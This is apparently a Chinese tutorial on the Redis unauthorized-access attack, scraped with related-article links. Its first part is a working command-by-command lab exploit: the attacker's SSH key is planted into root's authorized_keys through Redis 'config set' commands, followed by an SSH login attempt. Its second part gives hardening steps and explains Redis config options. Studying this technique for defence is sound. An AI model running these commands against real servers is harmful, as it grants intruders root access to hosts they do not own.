Redis未授权访问攻击过程与防范
一.Redis未授权访问攻击过程
攻击主机:kali
目标主机:centos6.8(10.104.11.178)
Redis版本:2.8
攻击条件:默认配置,未进行认证
攻击步骤详解:
1.Kali攻击主机生成ssh rsa公钥
root@kali:~/.ssh# ls
known_hosts
root@kali:~/.ssh# ssh-keygen -t rsa
2.将公钥写入key.txt
将第一步生成的公钥写入指定的文件 key.txt
root@kali:~/.ssh# (echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>key.txt
3.利用redis自身提供的config命令 将自己的公钥写入redis内存
root@kali:~/.ssh# cat /root/.ssh/key.txt|/usr/redis/redis-cli -h 10.104.11.178 -x set xxx
OK
执行成功
4.Redis连接目标主机
root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178 -p 6379
10.104.11.178:6379>
连接成功
查看info信息
root@kali:~/.ssh# /usr/redis/redis-cli -h 10.104.11.178
10.104.11.178:6379> info
# Server
redis_version:2.8.17
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:ee9a5c34b9ec4a26
redis_mode:standalone
os:Linux 2.6.32-642.el6.x86_64 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:4.4.7
process_id:36422
run_id:f02a212c0f7090715b6935319b0b7bb4f83e81f5
tcp_port:6379
uptime_in_seconds:2158
uptime_in_days:0
hz:10
lru_clock:15382406
config_file:/root/redis-2.8.17/redis.conf #redis配置文件 # Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
blocked_clients:0 # Memory
used_memory:811488
used_memory_human:792.47K
used_memory_rss:8441856
used_memory_peak:831456
used_memory_peak_human:811.97K
used_memory_lua:33792
mem_fragmentation_ratio:10.40
mem_allocator:jemalloc-3.6.0 # Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1525331028
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok # Stats
total_connections_received:8
total_commands_processed:23
instantaneous_ops_per_sec:0
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:2
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0 # Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0 # CPU
used_cpu_sys:2.59
used_cpu_user:1.06
used_cpu_sys_children:0.00
used_cpu_user_children:0.00 # Keyspace
db0:keys=1,expires=0,avg_ttl=0
5.修改redis备份路径和公钥写入authorized_keys
10.104.11.178:6379> config set dir /root/.ssh
OK
10.104.11.178:6379> config get dir
1) "dir"
2) "/root/.ssh"
10.104.11.178:6379> config set dbfilename authorized_keys
OK
查看info信息
6.接下来进入ssh连接
root@kali:~/.ssh# ssh root@10.104.11.178 -p 22 -i ~/.ssh/id_rsa
Last login: Wed May 2 23:41:47 2018 from 10.104.10.97
注:全部执行成功,远程ssh登录仍需要密码原因在于:10.104.11.178目标主机配置文件未开启key登录
二.redis未授权访问安全防御:
1.禁止一些高危命令
修改 redis.conf 文件,添加
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
来禁用远程修改 DB 文件地址
2.以低权限运行 Redis 服务
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
$ groupadd -r redis && useradd -r -g redis redis
3.为 Redis 添加密码验证
修改 redis.conf 文件,添加
requirepass mypassword
4.禁止外网访问 Redis
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
5.保证 authorized_keys 文件的安全
阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
保证 authorized_keys 的权限不会被改掉,设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
chattr +i ~/.ssh
三.配置文件
1. Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程
daemonize no
2. 指定Redis监听端口,默认端口为6379
port 6379
3.绑定的主机地址
bind 127.0.0.1#仅本机使用,如果限制多个ip使用,空格隔开
4.当 客户端闲置多长时间后关闭连接,如果指定为0,表示关闭该功能
timeout 300
5. 指定日志记录级别,Redis总共支持四个级别:debug、verbose、notice、warning,默认为verbose
debug:记录很多信息,用于开发和测试
verbose:有用的信息,不像debug会记录那么多
notice:普通的verbose,常用于生产环境
warning:只有非常重要或者严重的信息会记录到日志
6. 日志记录方式,默认为标准输出,如果配置Redis为守护进程方式运行,而这里又配置为日志记录方式为标准输出,则日志将会发送给/dev/null
logfile stdout
7. 设置Redis连接密码,如果配置了连接密码,客户端在连接Redis时需要通过AUTH <password>命令提供密码,默认关闭
requirepass foobared
Redis未授权访问攻击过程与防范的更多相关文章
- 修补--Redis未授权访问漏洞
--------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...
- Redis未授权访问
最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...
- Redis未授权访问漏洞的利用及防护
Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...
- Redis未授权访问反弹shell
Redis未授权访问反弹shell 目标主机:10.104.11.178 攻击机:kali 攻击步骤: 1.与目标主机连接 root@kali:~# /usr/redis/redis-cli -h 1 ...
- 10.Redis未授权访问漏洞复现与利用
一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等 ...
- Redis未授权访问写Webshell和公私钥认证获取root权限
0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...
- Redis未授权访问利用
转载:https://www.cnblogs.com/-qing-/p/10978912.html 0x01 kali安装redis 下载 wget http://download.redis.io/ ...
- Redis未授权访问漏洞复现及修复方案
首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...
- [Shell]Redis未授权访问反弹shell
原作者:Cream 文章出处: 贝塔安全实验室 0x01 Redis未授权访问反弹shell Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型.Key-Value ...
随机推荐
- [转]怎么学习前端,尤其是 JavaScript 这块
1. 先看看 w3school ,了解什么是 js,再找几本写 js 小效果的书看看,知道 js 干什么: 2. 然后再去通读 API,推荐 <Javascript权威指南>,第四版吧,第 ...
- STM32 C++编程 004 Adc (数模转换)类
使用 C++ 语言给 STM32 编写一个 Adc 类 我使用的STM32芯片:STM32F103ZET6 我们使用的STM32库版本:V3.5.0 注意: 想学习本套 STM32 C++编程 的专栏 ...
- img中 src 中文路径解决办法
最近有个项目场景如下:需要后台遍历图片.视频所在的文件夹,获取的到的路径传递到JSP页面,使用<img src="具体的路径">显示图片.遇到的问题:如果图片的路径.图 ...
- c# 使用protobuf格式操作 Redis
protobuf格式介绍 1.protobuf为goole定义的类似于json的数据格式.2.最终都需要序列化为二进制形式进行传输存储.3.相对于xml,json格式来说,序列化为二进制后占用空间更小 ...
- Linux下面的IO模型
1. Linux下的五种I/O模型 阻塞I/O模型: 一直阻塞 应用程序调用一个IO函数,导致应用程序阻塞,等待数据准备好. 如果数据没有准备好,一直等待….数据准备好了,从内核拷贝到用户空 ...
- C++ string操作(转载)
1.string类的构造函数 string(const char * s); //用s字符串初始化 string(const string &s);//用string类的s初始化 string ...
- 错误页设置,设置HTTP状态码404,500(八)
web.xml设置错误跳转(注意,路径必须以斜杠开头)
- HTML5与CSS3基础教程(第8版) PDF扫描版
<HTML5与CSS3基础教程(第8版)>自第1版至今,一直是讲解HTML和CSS入门知识的经典畅销书,全面系统地阐述HTML5和CSS3基础知识以及实际运用技术,通过大量实例深入浅出地分 ...
- 《Linux内核设计与实现》读书笔记(九)- 内核同步介绍
存在共享资源(共享一个文件,一块内存等等)的时候,为了防止并发访问时共享资源的数据不一致,引入了同步机制. 主要内容: 同步的概念 同步的方法-加锁 死锁 锁的粒度 1. 同步的概念 了解同步之前,先 ...
- vue file-loader vs url-loader
1.前言 如果我们希望在页面引入图片(包括img的src和background的url).当我们基于webpack进行开发时,引入图片会遇到一些问题. 其中一个就是引用路径的问题.拿backgroun ...